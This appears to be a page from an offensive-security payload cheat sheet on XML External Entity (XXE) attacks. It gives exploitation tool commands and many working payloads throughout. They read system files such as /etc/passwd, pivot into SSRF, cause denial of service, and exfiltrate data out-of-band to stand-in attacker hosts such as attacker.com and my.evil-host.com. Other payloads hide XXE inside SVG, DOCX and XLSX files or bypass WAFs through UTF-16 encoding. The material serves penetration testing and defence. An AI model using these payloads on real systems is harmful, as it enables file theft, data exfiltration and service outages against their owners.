XML External Entity

An XML External Entity attack is a type of attack against an application that parses XML input and allows XML entities. XML entities can be used to tell the XML parser to fetch specific content on the server.

Internal Entity: If an entity is declared within a DTD it is called as internal entity.
Syntax: <!ENTITY entity_name "entity_value">

External Entity: If an entity is declared outside a DTD it is called as external entity. Identified by SYSTEM.
Syntax: <!ENTITY entity_name SYSTEM "entity_value">

Summary

Tools

  • xxeftp - A mini webserver with FTP support for XXE payloads 
    sudo ./xxeftp -uno 443
./xxeftp -w -wps 5555
  • 230-OOB - An Out-of-Band XXE server for retrieving file contents over FTP and payload generation via http://xxe.sh/ 
    $ python3 230.py 2121
  • XXEinjector - Tool for automatic exploitation of XXE vulnerability using direct and different out of band methods 
    # Enumerating /etc directory in HTTPS application:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --ssl
# Enumerating /etc directory using gopher for OOB method:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/req.txt --oob=gopher
# Second order exploitation:
ruby XXEinjector.rb --host=192.168.0.2 --path=/etc --file=/tmp/vulnreq.txt --2ndfile=/tmp/2ndreq.txt
# Bruteforcing files using HTTP out of band method and netdoc protocol:
ruby XXEinjector.rb --host=192.168.0.2 --brute=/tmp/filenames.txt --file=/tmp/req.txt --oob=http --netdoc
# Enumerating using direct exploitation:
ruby XXEinjector.rb --file=/tmp/req.txt --path=/etc --direct=UNIQUEMARK
# Enumerating unfiltered ports:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --enumports=all
# Stealing Windows hashes:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --hashes
# Uploading files using Java jar:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --upload=/tmp/uploadfile.pdf
# Executing system commands using PHP expect:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --oob=http --phpfilter --expect=ls
# Testing for XSLT injection:
ruby XXEinjector.rb --host=192.168.0.2 --file=/tmp/req.txt --xslt
# Log requests only:
ruby XXEinjector.rb --logger --oob=http --output=/tmp/out.txt
  • oxml_xxe - A tool for embedding XXE/XML exploits into different filetypes (DOCX/XLSX/PPTX, ODT/ODG/ODP/ODS, SVG, XML, PDF, JPG, GIF) 
    ruby server.rb
  • docem - Utility to embed XXE and XSS payloads in docx,odt,pptx,etc 
    ./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_document -kt -sx docx
./docem.py -s samples/xxe/sample_oxml_xxe_mod1.docx -pm xxe -pf payloads/xxe_special_2.txt -kt -pt per_place
./docem.py -s samples/xss_sample_0.odt -pm xss -pf payloads/xss_tiny.txt -pm per_place
./docem.py -s samples/xxe/sample_oxml_xxe_mod0/ -pm xss -pf payloads/xss_all.txt -pt per_file -kt -sx docx
  • otori - Toolbox intended to allow useful exploitation of XXE vulnerabilities. 
    python ./otori.py --clone --module "G-XXE-Basic" --singleuri "file:///etc/passwd" --module-options "TEMPLATEFILE" "TARGETURL" "BASE64ENCODE" "DOCTYPE" "XMLTAG" --outputbase "./output-generic-solr" --overwrite --noerrorfiles --noemptyfiles --nowhitespacefiles --noemptydirs

Detect the vulnerability

Basic entity test, when the XML parser parses the external entities the result should contain "John" in firstName and "Doe" in lastName. Entities are defined inside the DOCTYPE element.

<!--?xml version="1.0" ?-->
<!DOCTYPE replace [<!ENTITY example "Doe"> ]>
 <userInfo>
  <firstName>John</firstName>
  <lastName>&example;</lastName>
 </userInfo>

It might help to set the Content-Type: application/xml in the request when sending XML payload to the server.

Exploiting XXE to retrieve files

Classic XXE

We try to display the content of the file /etc/passwd

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///etc/passwd'>]><root>&test;</root>

<?xml version="1.0"?>
<!DOCTYPE data [
<!ELEMENT data (#ANY)>
<!ENTITY file SYSTEM "file:///etc/passwd">
]>
<data>&file;</data>

<?xml version="1.0" encoding="ISO-8859-1"?>
  <!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///etc/passwd" >]><foo>&xxe;</foo>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

warning SYSTEM and PUBLIC are almost synonym.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [  
  <!ELEMENT foo ANY >
  <!ENTITY xxe SYSTEM "file:///c:/boot.ini" >]><foo>&xxe;</foo>

Classic XXE Base64 encoded

<!DOCTYPE test [ <!ENTITY % init SYSTEM "data://text/plain;base64,ZmlsZTovLy9ldGMvcGFzc3dk"> %init; ]><foo/>

PHP Wrapper inside XXE

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
  <contact>
    <name>Jean &xxe; Dupont</name>
    <phone>00 11 22 33 44</phone>
    <address>42 rue du CTF</address>
    <zipcode>75000</zipcode>
    <city>Paris</city>
  </contact>
</contacts>

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "php://filter/convert.base64-encode/resource=http://10.0.0.3" >
]>
<foo>&xxe;</foo>

XInclude attacks

When you can't modify the DOCTYPE element use the XInclude to target

<foo xmlns:xi="http://www.w3.org/2001/XInclude">
<xi:include parse="text" href="file:///etc/passwd"/></foo>

Exploiting XXE to perform SSRF attacks

XXE can be combined with the SSRF vulnerability to target another service on the network.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "http://internal.service/secret_pass.txt" >
]>
<foo>&xxe;</foo>

Exploiting XXE to perform a deny of service

warning These attacks might kill the service or the server, do not use them on the production.

Billion Laugh Attack

<!DOCTYPE data [
<!ENTITY a0 "dos" >
<!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
<!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
<!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
<!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
]>
<data>&a4;</data>

Yaml attack

a: &a ["lol","lol","lol","lol","lol","lol","lol","lol","lol"]
b: &b [*a,*a,*a,*a,*a,*a,*a,*a,*a]
c: &c [*b,*b,*b,*b,*b,*b,*b,*b,*b]
d: &d [*c,*c,*c,*c,*c,*c,*c,*c,*c]
e: &e [*d,*d,*d,*d,*d,*d,*d,*d,*d]
f: &f [*e,*e,*e,*e,*e,*e,*e,*e,*e]
g: &g [*f,*f,*f,*f,*f,*f,*f,*f,*f]
h: &h [*g,*g,*g,*g,*g,*g,*g,*g,*g]
i: &i [*h,*h,*h,*h,*h,*h,*h,*h,*h]

Error Based XXE

Payload to trigger the XXE

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://attacker.com/ext.dtd">
    %ext;
]>
<message></message>

Contents of ext.dtd

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % eval "<!ENTITY &#x25; error SYSTEM 'file:///nonexistent/%file;'>">
%eval;
%error;

Exploiting blind XXE to exfiltrate data out-of-band

Sometimes you won't have a result outputted in the page but you can still extract the data with an out of band attack.

Blind XXE

The easiest way to test for a blind XXE is to try to load a remote resource such as a Burp Collaborator.

<?xml version="1.0" ?>
<!DOCTYPE root [
<!ENTITY % ext SYSTEM "http://UNIQUE_ID_FOR_BURP_COLLABORATOR.burpcollaborator.net/x"> %ext;
]>
<r></r>

Send the content of /etc/passwd to "www.malicious.com", you may receive only the first line.

<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ELEMENT foo ANY >
<!ENTITY % xxe SYSTEM "file:///etc/passwd" >
<!ENTITY callhome SYSTEM "www.malicious.com/?%xxe;">
]
>
<foo>&callhome;</foo>

XXE OOB Attack (Yunusov, 2013)

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE data SYSTEM "http://publicServer.com/parameterEntity_oob.dtd">
<data>&send;</data>

File stored on http://publicServer.com/parameterEntity_oob.dtd
<!ENTITY % file SYSTEM "file:///sys/power/image_size">
<!ENTITY % all "<!ENTITY send SYSTEM 'http://publicServer.com/?%file;'>">
%all;

XXE OOB with DTD and PHP filter

<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY % sp SYSTEM "http://127.0.0.1/dtd.xml">
%sp;
%param1;
]>
<r>&exfil;</r>

File stored on http://127.0.0.1/dtd.xml
<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/passwd">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'http://127.0.0.1/dtd.xml?%data;'>">

XXE OOB with Apache Karaf

CVE-2018-11788 affecting versions:

  • Apache Karaf <= 4.2.1
  • Apache Karaf <= 4.1.6
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://27av6zyg33g8q8xu338uvhnsc.canarytokens.com"> %dtd;]
<features name="my-features" xmlns="http://karaf.apache.org/xmlns/features/v1.3.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
        xsi:schemaLocation="http://karaf.apache.org/xmlns/features/v1.3.0 http://karaf.apache.org/xmlns/features/v1.3.0">
    <feature name="deployer" version="2.0" install="auto">
    </feature>
</features>

Send the XML file to the deploy folder.

Ref. brianwrf/CVE-2018-11788

XXE with local DTD

In some case, outgoing connections are not possible from the web application. DNS names might even not resolve externally with a payload like this:

<!DOCTYPE root [<!ENTITY test SYSTEM 'http://h3l9e5soi0090naz81tmq5ztaaaaaa.burpcollaborator.net'>]>
<root>&test;</root>

If error based exfiltration is possible, you can still rely on a local DTD to do concatenation tricks. Payload to confirm that error message include filename.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///abcxyz/">

    %local_dtd;
]>
<root></root>

Assuming payloads such as the previous return a verbose error. You can start pointing to local DTD. With an found DTD, you can submit payload such as the following payload. The content of the file will be place in the error message.

<!DOCTYPE root [
    <!ENTITY % local_dtd SYSTEM "file:///usr/share/yelp/dtd/docbookx.dtd">

    <!ENTITY % ISOamsa '
        <!ENTITY &#x25; file SYSTEM "file:///REPLACE_WITH_FILENAME_TO_READ">
        <!ENTITY &#x25; eval "<!ENTITY &#x26;#x25; error SYSTEM &#x27;file:///abcxyz/&#x25;file;&#x27;>">
        &#x25;eval;
        &#x25;error;
        '>

    %local_dtd;
]>
<root></root>

Other payloads using different DTDs

XXE in exotic files

XXE inside SVG

<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="300" version="1.1" height="200">
    <image xlink:href="expect://ls"></image>
</svg>

Classic

<?xml version="1.0" standalone="yes"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1">
   <text font-size="16" x="0" y="16">&xxe;</text>
</svg>

OOB via SVG rasterization

xxe.svg

<!DOCTYPE svg [
<!ELEMENT svg ANY >
<!ENTITY % sp SYSTEM "http://example.org:8080/xxe.xml">
%sp;
%param1;
]>
<svg viewBox="0 0 200 200" version="1.2" xmlns="http://www.w3.org/2000/svg" style="fill:red">
      <text x="15" y="100" style="fill:black">XXE via SVG rasterization</text>
      <rect x="0" y="0" rx="10" ry="10" width="200" height="200" style="fill:pink;opacity:0.7"/>
      <flowRoot font-size="15">
         <flowRegion>
           <rect x="0" y="0" width="200" height="200" style="fill:red;opacity:0.3"/>
         </flowRegion>
         <flowDiv>
            <flowPara>&exfil;</flowPara>
         </flowDiv>
      </flowRoot>
</svg>

xxe.xml

<!ENTITY % data SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % param1 "<!ENTITY exfil SYSTEM 'ftp://example.org:2121/%data;'>">

XXE inside SOAP

<soap:Body>
  <foo>
    <![CDATA[<!DOCTYPE doc [<!ENTITY % dtd SYSTEM "http://x.x.x.x:22/"> %dtd;]><xxx/>]]>
  </foo>
</soap:Body>

XXE inside DOCX file

Format of an Open XML file (inject the payload in any .xml file):

  • /_rels/.rels
  • [Content_Types].xml
  • Default Main Document Part
    • /word/document.xml
    • /ppt/presentation.xml
    • /xl/workbook.xml

Then update the file zip -u xxe.docx [Content_Types].xml

Tool : https://github.com/BuffaloWill/oxml_xxe

DOCX/XLSX/PPTX
ODT/ODG/ODP/ODS
SVG
XML
PDF (experimental)
JPG (experimental)
GIF (experimental)

XXE inside XLSX file

Extract the excel file.

$ mkdir XXE && cd XXE
$ unzip ../XXE.xlsx
Archive:  ../XXE.xlsx
  inflating: xl/drawings/drawing1.xml
  inflating: xl/worksheets/sheet1.xml
  inflating: xl/worksheets/_rels/sheet1.xml.rels
  inflating: xl/sharedStrings.xml
  inflating: xl/styles.xml
  inflating: xl/workbook.xml
  inflating: xl/_rels/workbook.xml.rels
  inflating: _rels/.rels
  inflating: [Content_Types].xml

Add your blind XXE payload inside xl/workbook.xml.

<xml...>
<!DOCTYPE x [ <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<x>&xxe;</x>
<workbook...>

Alternativly, add your payload in xl/sharedStrings.xml:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE foo [ <!ELEMENT t ANY > <!ENTITY xxe SYSTEM "http://YOURCOLLABORATORID.burpcollaborator.net/"> ]>
<sst xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" count="10" uniqueCount="10"><si><t>&xxe;</t></si><si><t>testA2</t></si><si><t>testA3</t></si><si><t>testA4</t></si><si><t>testA5</t></si><si><t>testB1</t></si><si><t>testB2</t></si><si><t>testB3</t></si><si><t>testB4</t></si><si><t>testB5</t></si></sst>

Rebuild the Excel file.

$ zip -r ../poc.xlsx *
updating: [Content_Types].xml (deflated 71%)
updating: _rels/ (stored 0%)
updating: _rels/.rels (deflated 60%)
updating: docProps/ (stored 0%)
updating: docProps/app.xml (deflated 51%)
updating: docProps/core.xml (deflated 50%)
updating: xl/ (stored 0%)
updating: xl/workbook.xml (deflated 56%)
updating: xl/worksheets/ (stored 0%)
updating: xl/worksheets/sheet1.xml (deflated 53%)
updating: xl/styles.xml (deflated 60%)
updating: xl/theme/ (stored 0%)
updating: xl/theme/theme1.xml (deflated 80%)
updating: xl/_rels/ (stored 0%)
updating: xl/_rels/workbook.xml.rels (deflated 66%)
updating: xl/sharedStrings.xml (deflated 17%)

XXE inside DTD file

Most XXE payloads detailed above require control over both the DTD or DOCTYPE block as well as the xml file. In rare situations, you may only control the DTD file and won't be able to modify the xml file. For example, a MITM. When all you control is the DTD file, and you do not control the xml file, XXE may still be possible with this payload.

<!-- Load the contents of a sensitive file into a variable -->
<!ENTITY % payload SYSTEM "file:///etc/passwd">
<!-- Use that variable to construct an HTTP get request with the file contents in the URL -->
<!ENTITY % param1 '<!ENTITY &#37; external SYSTEM "http://my.evil-host.com/x=%payload;">'>
%param1;
%external;

XXE WAF Bypass via convert character encoding

In XXE WAFs, DTD Prolog are usually blacklisted BUT not all WAFs blacklist the UTF-16 character encoding

All XML processors must accept the UTF-8 and UTF-16 encodings of Unicode

we can convert the character encoding to UTF-16 using iconv to bypass the XXE WAF:

cat utf8exploit.xml | iconv -f UTF-8 -t UTF-16BE > utf16exploit.xml

References